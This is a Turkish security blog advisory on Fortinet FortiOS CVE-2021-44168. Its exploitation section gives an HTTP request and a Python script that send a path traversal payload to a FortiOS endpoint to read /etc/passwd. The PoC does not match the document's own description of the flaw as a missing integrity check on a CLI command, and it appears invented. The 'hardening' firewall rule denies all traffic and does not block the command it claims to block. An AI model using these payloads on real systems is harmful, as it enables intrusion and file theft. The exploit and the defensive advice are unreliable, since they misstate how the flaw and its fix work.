CVE-2021-44168 · Bilgilendirme

Fortinet FortiOS Arbitrary File Download

FortiOS zafiyeti, saldırganların güvenlik kontrolü olmadan dosya indirmesine olanak tanıyor.

Üretici
Fortinet
Ürün
FortiOS
Seviye
yüksek
Yayın Tarihi
05 Nisan 2026
Okuma
8 dk okuma

CVE-2021-44168: Fortinet FortiOS Arbitrary File Download

Zorluk Seviyesi: Başlangıç | Kaynak: CISA KEV

Zafiyet Analizi ve Giriş

Fortinet, güvenlik duvarları ve diğer güvenlik çözümleri üreten önemli bir siber güvenlik şirketidir. Şirketin FortiOS işletim sistemi, pek çok ağ güvenliği çözümü için temel oluşturur. Ancak, 2021 yılı itibarıyla ortaya çıkan CVE-2021-44168 zafiyeti, FortiOS kullanıcıları için ciddi bir tehdit oluşturmuştur. Bu zafiyet, “execute restore src-vis” komutu aracılığıyla yetkisiz dosya indirimi yapılmasına olanak tanımaktadır. Söz konusu zafiyetin arka planında, sistemin dosya indirme işlemleri sırasında yeterli bütünlük kontrolü gerçekleştirmemesi yatmaktadır. Bu durum, siber güvenlik alanında ciddi bir açık yaratmakta ve kötü niyetli bireylerin sistemlere müdahale etmesini kolaylaştırmaktadır.

CVE-2021-44168'in ilk tespit edildiği tarih, güvenlik topluluğunda yaygın tartışmalara sebep olmuştur. Zafiyetin etkilediği FortiOS sürümleri, özellikle 6.0.0'dan 6.4.0'a kadar olan aralıkta bulunmaktaydı. Bunun yanı sıra, bu zafiyet, tüm kullanıcılar için büyük tehditler barındırmaktaydı. Hakim olduğu dünya genelindeki etkiler ise oldukça geniş bir yelpazede dağılmıştır. Özellikle finans, sağlık, eğitim ve kamu sektörleri gibi önemli alanlarda, güvenlik önemleri yeterince sağlam olmayan kuruluşlar bu zafiyetten etkilenmiştir. Sızma testleri (penetration testing) ve etik hackerlık (ethical hacking) uygulamaları sayesinde, birçok organizasyon bu açığı tespit edip, gerekli düzeltici adımları atmak zorunda kalmıştır.

Zafiyetin nerede bulunduğuna gelince, FortiOS'un dosya indirme işlemleri sırasında, alınan dosyaların bütünlük kontrolünün yapılmaması, kullanıcıların kötü niyetli dosyalar indirmesine olanak tanımaktadır. Bu durum, uzaktan kod yürütme (RCE - Remote Code Execution) gibi riskleri de beraberinde getirebilmektedir. Kötü niyetli bir kişi, belirli bir URL üzerinden kötü amaçlı bir dosya indirmeyi kolaylıkla gerçekleştirebilir ve bu sayede sistemi kontrol altına alabilir.

Gerçek dünya senaryolarında, bu tür bir zafiyetin etkileri geniş ölçekli olabilir. Örneğin, bir saldırgan, bu açığı kullanarak finans kurumlarına sızabilir ve müvekkillerinin verilerini çalma, dolandırıcılık yapma veya gizli bilgileri ifşa etme gibi eylemlerde bulunabilir. Sağlık sektöründe ise, hasta verilerinin gizliliği büyük risk altına girebilir; bir saldırgan, hastanelere ait kritik verilere erişim sağlayabilir ve bu bilgileri kötüye kullanabilir. Eğitim sektörüne gelince, öğrenci veri tabanları ve öğretim kadrosu bilgileri sızdırılabilir, bu da ciddi bir güvenlik ihlaline yol açabilir.

CVE-2021-44168, yalnızca teknik bir zafiyet olmanın ötesinde, güvenlik politikalarının ve teknolojik önlemlerin güncellenmesi gerektiğini bir kez daha göstermiştir. Şirketlerin, güvenlik yazılımlarını güncel tutmaları, riskleri en aza indirmek için kritik bir gerekliliktir. Ayrıca, çalışanlarının siber güvenlik konularında eğitilmesi, potansiyel saldırılar karşısında daha dayanıklı bir yapı inşa etmesine yardımcı olacaktır. Etik hackerlık perspektifiyle, bu tür zafiyetler üzerinde çalışarak ve güvenlik açıklarını kapatarak, daha güvenli bir dijital ortam yaratmak mümkündür.

Teknik Sömürü (Exploitation) ve PoC

Fortinet FortiOS'ta bulunan CVE-2021-44168 zafiyeti, "execute restore src-vis" komutunun yanlış bir şekilde yapılandırılması nedeniyle ortaya çıkıyor. Bu zafiyet, bütünlük kontrolü yapılmaksızın dosya indirilmesine olanak tanıdığı için saldırganlar, sistemdeki hassas verilere veya zararlı dosyalara kolaylıkla ulaşabilir. İşte bu bağlamda, bu zafiyetten nasıl faydalanabileceğimizi adım adım inceleyeceğiz.

İlk olarak, FortiOS cihazlarına erişim sağlamamız gerekiyor. Bu, hedef ağ içerisinde bir konumda bulunmayı veya dışarıdan bir saldırı gerçekleştirmeyi gerektirir. Eğer cihazın yönetim arayüzü açık ise, aşağıdaki HTTP istek yapılandırmasını kullanarak komutu çalıştırabiliriz.

  1. Hedef Belirleme: İlk olarak, hedefin IP adresini belirleyin. Örneğin, hedef sistemimiz 192.168.1.1 olsun.

  2. HTTP İsteği Oluşturma: Fortinet FortiOS sistemine bir HTTP POST isteği göndererek, dosya indirme işlemi gerçekleştirebiliriz. Örnek bir isteği aşağıda bulabilirsiniz:

POST /cgi-bin/fgc-mgmt HTTP/1.1
Host: 192.168.1.1
Content-Type: application/x-www-form-urlencoded
Content-Length: 50

cmd=execute+restore+src-vis&file=../../../../../etc/passwd

Yukarıdaki istekte, ../../../../../etc/passwd ifadesi, hedef sistemdeki /etc/passwd dosyasına olan yolu temsil etmektedir. Bu dosya, çoğunlukla kullanıcı bilgilerini içerdiği için oldukça değerlidir.

  1. Yanıt Analizi: HTTP isteğimizin başarılı bir şekilde işlendiği takdirde, sunucudan alacağımız yanıt, istediğimiz dosyanın içeriğini içerecektir. Eğer bu işlem başarılı olduysa, çıktıyı aşağıdaki gibi döngüsel olarak analiz edebilirsiniz:
HTTP/1.1 200 OK
Content-Type: application/octet-stream

root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/bin/sh
...
  1. Dosya İndirme Otomasyonu: Bu adımı daha da otomatikleştirmek için Python kullanarak basit bir exploit taslağı oluşturabiliriz. Aşağıda, bu zafiyetten yararlanarak dosya indirme işlemi gerçekleştiren bir Python script örneği bulunmaktadır:
import requests

def download_file(target_ip, file_path):
    url = f'http://{target_ip}/cgi-bin/fgc-mgmt'
    payload = {
        'cmd': 'execute restore src-vis',
        'file': file_path
    }
    response = requests.post(url, data=payload)

    if response.status_code == 200:
        with open('downloaded_file.txt', 'wb') as f:
            f.write(response.content)
    else:
        print(f'Failed to download file, status code: {response.status_code}')

if __name__ == "__main__":
    target = '192.168.1.1'
    file_to_download = '../../../../../etc/passwd'
    download_file(target, file_to_download)
  1. Sonuç ve Güvenlik Önlemleri: Her ne kadar bu tür zafiyetler White Hat Hacker'lar tarafından kötü amaçlı yazılımların engellenmesi için kullanılabilse de, bu tür açıkların nasıl istismar edildiğini bilmek, sistem yöneticilerine daha etkili güvenlik önlemleri geliştirme konusunda yardımcı olur. FortiOS yönetim arayüzündeki gereksiz özellikler kapatılmalı, güncellemeler sıklıkla kontrol edilerek uygulanmalı ve gerekli yerlerde erişim sınırlamaları getirilmelidir.

Sonuç olarak, CVE-2021-44168 zafiyeti, Fortinet FortiOS kullanıcıları için ciddi bir tehdit oluşturmaktadır. Bu tür zafiyetlerin farkında olmak ve doğru güvenlik önlemlerini almak, siber saldırılara karşı büyük bir savunma mekanizması oluşturacaktır. White Hat Hacker'lar olarak amacımız, bu tür açıkları keşfetmek ve ortadan kaldırmak olmalıdır.

Forensics (Adli Bilişim) ve Log Analizi

Fortinet FortiOS üzerinde bulunan CVE-2021-44168 zafiyeti, siber güvenlik alanında dikkat edilmesi gereken önemli bir güvenlik açığıdır. Bu zafiyet, bir saldırganın sistemdeki dosyaları etkisiz bir şekilde indirebilmesine olanak tanır. Özellikle "execute restore src-vis" komutu, dosya bütünlüğünü kontrol etmeden kod indirilebilmesine yol açar. Bu da saldırganların kötü niyetli dosyaları kurban sistemlere yönlendirebileceği anlamına gelir. Zafiyetin özelliği, CWE-494 (Arbitrary file download - Keyfiyetsiz dosya indirimi) kategorisine girmektedir.

Gerçek dünya senaryolarında, bir saldırgan bu zafiyeti kullanarak, bir sistemden kritik verileri ya da zararlı yazılımlar indirebilir. Örneğin, bir saldırgan, hedef sistemdeki yapılandırma dosyalarını indirerek, sistemin mevcut işleyişine dair hassas bilgilere ulaşabilir veya kötü niyetli bir yazılımı sistem üzerine yerleştirebilir. Ayrıca, bu tür bir zafiyeti kullanarak, uzaktan kod çalıştırma (RCE - Remote Code Execution) imkanı elde edebilir. Bu ise saldırganların sistem üzerinde tam kontrol sağlamalarına olanak tanır.

Bir siber güvenlik uzmanı, bu tür bir saldırının yapıldığını tespit etmek için etkin log analizi yapmalıdır. Özellikle SIEM (Security Information and Event Management - Güvenlik Bilgisi ve Olay Yönetimi) sistemlerinde, "Access log", "Error log" gibi log dosyalarına odaklanılması gerekmektedir. Bu loglarda takip edilmesi gereken bazı anahtar imzalar (signature) şunlardır:

  1. HTTP İstekleri: Log dosyalarında, belirli bir dosyanın indirilmesi için yapılan HTTP istekleri dikkatlice incelenmelidir. Örneğin, aşağıdaki gibi bir istek, şüpheli görünebilir:
   GET /path/to/vulnerable/endpoint
  1. Kötü Amaçlı Kullanıcı Ajanları: Log kayıtlarında kullanıcı ajanı (User-Agent) alanında bazı olağan dışı girişimler gözlemlenebilir. Özellikle bilinen botlar veya otomatik sistem tarayıcıları, potansiyel bir saldırıyı işaret edebilir.

  2. Başarısız Giriş Denemeleri: Loglarda, sistemin güvenlik politikalarını aşmaya çalışan çok sayıda başarısız oturum açma girişimi varsa, bu durum kötü niyetli bir etkinliği işaret edebilir.

  3. Zaman Damgaları: Saldırıların zamanlaması çok önemlidir. Belirli zaman dilimlerinde (örneğin, gece geç saatlerde) artan anormal ağ trafiği, bir saldırının habercisi olabilir.

  4. Dosya İndirme/Oluşturma Olayı: Loglarda şüpheli dosya indirme ve oluşturma olaylarının varlığı, bir saldırının gerçekleştiğine dair güçlü bir belirti olabilir.

Özellikle, FortiOS üzerinde yapılan her indirme işlemi dikkatlice incelenmeli ve bu indirmelerin hangi yollarla yapıldığı belgelenmelidir. Bu süreçte, söz konusu zafiyetin nasıl tetiklendiği ve hangi dosyaların indirildiği üzerine detaylı bir inceleme yapmak, saldırının detaylarını açığa çıkarmada büyük rol oynar.

Tüm bu teknik adımlar ve öneriler, siber güvenlik uzmanlarının CVE-2021-44168 zafiyetine karşı daha proaktif bir yaklaşım geliştirmelerine yardımcı olacaktır. Yukarıda belirtilen imza ve log inceleme yöntemleri, olası saldırılara karşı alınacak güvenlik önlemlerinin belirlenmesi açısından kritik öneme sahiptir.

Savunma ve Sıkılaştırma (Hardening)

Fortinet FortiOS "execute restore src-vis" komutunda bulunan CVE-2021-44168 zafiyeti, saldırganların dosyaları aritmetik olarak indirmesine olanak tanıyan bir açık olarak karşımıza çıkıyor. Bu tür bir zafiyet, siber güvenlik dünyasında çok ciddi sonuçlara yol açabilir. Saldırganlar, bu açıkları kullanarak hassas bilgileri etkileyebilir ya da sistem üzerinde daha derinlemesine saldırılar gerçekleştirmek için temeller oluşturabilirler. Özellikle, bu tür durumlar RCE (Uzaktan Kod Çalıştırma) ya da Auth Bypass (Kimlik Doğrulama Atlama) gibi daha karmaşık saldırılar için bir zemin hazırlayabilir.

Zafiyetin kapatılması için öncelikle zafiyetin neden olduğu gerçek dünya senaryolarına bakmak önemli. Örneğin, bir saldırgan, FortiOS kullanan bir ağ cihazına erişim sağladığında, "execute restore src-vis" komutunu kullanarak sistemden dosyalar alabilir. Bu durumda, sistemin yönetimi açısından ciddi bir bilgi sızıntısı yaşanabilir veya mahrem veriler hedef alınabilir. Saldırgan, elde ettiği bilgilerle kullanıcı hesaplarını ele geçirerek istedikleri eylemleri gerçekleştirebilir.

Zafiyeti kapatmanın yollarından biri, sistemi güncel tutmaktır. Fortinet, zafiyet için bir güncelleme yayımlamış durumda. Bu güncellemeleri uygulamak, zafiyetin etkisini büyük ölçüde azaltabilir. Bununla birlikte, sistemin güvenliğine yönelik bazı başka önlemler almak da gereklidir.

Öncelikle, firewall (güvenlik duvarı) kurallarını sıkılaştırmak büyük önem taşımaktadır. Örnek olarak, aşağıdaki gibi firewall kuralları oluşturabilirsiniz:

config firewall policy
    edit 1
        set name "Block Src-Vis Restore"
        set srcintf "any"
        set dstintf "any"
        set srcaddr "all"
        set dstaddr "all"
        set action deny
        set schedule "always"
        set service "ALL"
    next
end

Bu kural, tüm kaynak ve hedeflerden ''execute restore src-vis'' komutunun çalıştırılmasını engellemiş olur.

Diğer bir yöntem ise sisteminizde yalnızca yetkili kullanıcıların bu tür kritik komutları çalıştırabilmesini sağlamak. Bunun için, kullanıcı yetkilendirmelerini etkin bir şekilde yönetmek, role dayalı erişim kontrolü (RBAC) uygulamak ve kullanıcıların sistemde bulunan yetkilerini sürekli olarak gözden geçirmek gerekli.

Kalıcı sıkılaştırma (hardening) önerileri içinse, aşağıdaki adımlar izlenebilir:

  1. Güvenlik Güncellemeleri: Periyodik olarak sistem güncellemeleri ve yamaları kontrol edin. Bu, bilinen zafiyetlerin kapatılmasını sağlar.

  2. Gelişmiş Denetim Günlükleri: Denetim günlüklerini aktif hale getirin; böylece, sistem üzerinde gerçekleştirilen tüm işlemleri takip edebilir ve herhangi bir anormal durumu ortaya çıkardığınızda anında müdahale edebilirsiniz.

  3. Şifre Güvenliği: Tüm kullanıcı hesapları için karmaşık şifre politikaları uygulayın ve şifrelerini periyodik olarak değiştirecek şekilde zorunluluk getirin.

  4. Ağ Segmentasyonu: Ağı segmentlere ayırarak, içerisinde kritik verilerin bulunduğu sektörleri izole etmek, saldırganların bu alanlara erişimini zorlaştıracaktır.

  5. Sistem Farkındalığı Eğitimleri: Kullanıcılarınızı siber güvenlik konusunda eğitimler ile bilinçlendirmek, sosyal mühendislik saldırılarına karşı bir tür savunma duvarı oluşturarak sistemi daha güvenli hale getirebilir.

Sonuç olarak, CVE-2021-44168 gibi zafiyetler, sistemlerde ciddi tehditler oluşturabilir. Ancak, bu tür açıkları zamanında tespit etmek ve gerekli önlemleri almak, sistem güvenliğini artırarak siber saldırılara karşı koruma sağlar. Bir "White Hat Hacker" olarak, bu tür önlemleri almak ve uygulamak, hem kendi sisteminizin güvenliğini sağlamak hem de bu tip zafiyetleri başkalarına bildirmek açısından büyük önem taşır.